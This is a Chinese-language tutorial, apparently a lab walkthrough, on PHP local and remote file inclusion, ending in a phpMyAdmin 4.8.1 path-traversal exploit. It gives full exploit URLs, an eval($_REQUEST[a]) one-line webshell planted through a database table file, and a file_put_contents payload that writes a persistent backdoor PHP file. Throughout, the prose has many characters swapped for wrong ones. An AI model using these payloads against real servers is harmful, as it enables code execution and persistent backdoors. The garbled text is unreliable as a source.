为了避免代码反复,咱们就有了,文件蕴含。很多网页如果要用到很多同样的函数,那么咱们就能够应用这个文件蕴含函数,就防止了每个网页又去反复造轮子。




在index.php文件里蕴含1.txt,而1.txt的内容是phpinfo(),include函数蕴含1.txt,就会把1.txt的内容当成php文件执行,不论后缀是什么。1.txt也好,1.xml也好,只有外面是php代码,而后有被include函数蕴含,那么就被当成PHP文件执行。

如果蕴含的文件不存在,就会呈现致命的谬误,并报出绝对路径,然是不影响其余性能的执行,比方这里的nf和123的输入。

那么就表明include函数,如果呈现谬误的话,并不会影响其余性能的运行。

如果蕴含的文件不存在,就会呈现致命的谬误,并报出绝对路径,影响前面性能的执行,比方这里的nf的输入,前面的性能因为2.txt报错,导致123未执行。

那么就表明require函数,如果呈现谬误的话,会影响前面性能的运行。

只有文件内是php代码,文件蕴含是不在意文件后缀的。

12345.jpg的传参值是a,

那么咱们能够

 写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)

而后生成一个新的php文件

拜访index.php

以上咱们接触的全副是本地文件蕴含

近程文件蕴含

简略来说近程文件蕴含,就是能够蕴含其余主机上的文件,并当成php代码执行。
要实现近程文件蕴含的话,
php配置的 php配置的allow_url_include = on必须为on(开启)

来咱们能够来试验一下,把这个配置关上。

“其余选项菜单”——“关上配置文件”——“php-ini”

关上配置文件,搜寻allow_url_include 把Off改为On,注:第一个字母要为大写


之后要重启能力失效。

配置开启后,咱们来近程文件蕴含一下,咱们来近程蕴含一下kali上的1.txt,能够看到没有本地蕴含,所以间接显示的内容。



那咱们当初来近程蕴含一下kali的这个1.txt,看会不会有phpinfo,留神我这里是index文件哦,所以是默认的。

能够看到,蕴含胜利!


这里能够插一句题外话,如果是window服务器的话,能够让本地文件蕴含变成近程文件蕴含。须要开始XX配置,SMB服务。



这里咱们能够发现,进入一个不存在的目录,而后再返回上一级,相当于没变目录地位,这个是不影响的,而且这个不存在的目录轻易怎么写都能够。

然而php是十分严格的,进入一个不存在的目录,这里目录的名字里不能有?*号,否则报错,而后再返回上一级,相当于没变目录地位,这个是不影响的,而且这个不存在的目录轻易怎么写都能够。

实战

留神,这里php版本过低,会装置不上


装置好后,咱们来解析下源码

1.txt内容phpinfo()

来本地文件蕴含一下,发现胜利

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt

靶场实战

先创立一个库名:nf

接着创立表:ff,字段数选2个就行了

而后选中咱们之前创立好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个轻易填充。

而后咱们找到寄存表的门路。


这里咱们要传参2个,那么就加上&这里咱们找到之后传参phpinfo

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo();

因为a在ff.frm里

<?php eval($_REQUEST[a])?>//留神,这外面没有分号和单引号

文件蕴含

用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

URL地址如下:

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm`&`a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’);


写入胜利后,咱们连贯这个8.php的木马

在线测试时这样,然而我在本地测试的时候,还是有点不一样的。我就间接上不一样的中央,后面的中央都是一样的
  1. 创立一个库为yingqian1984,
  2. 创立一个表为yq1984
  3. 填充表数据,因为跟下面一样,2个字段一个木马,一个轻易数据
  4. 找数据表的地位,最初我发现我的MySQL寄存数据库的中央是在
    C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984

文件蕴含胜利

http://127.0.0.1/phpmyadmin/p...…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo();

用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马
http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’);* <?php eval($_REQUEST[a])?>留神,这外面没有分号和单引号*

传参胜利

本文由mdnice多平台公布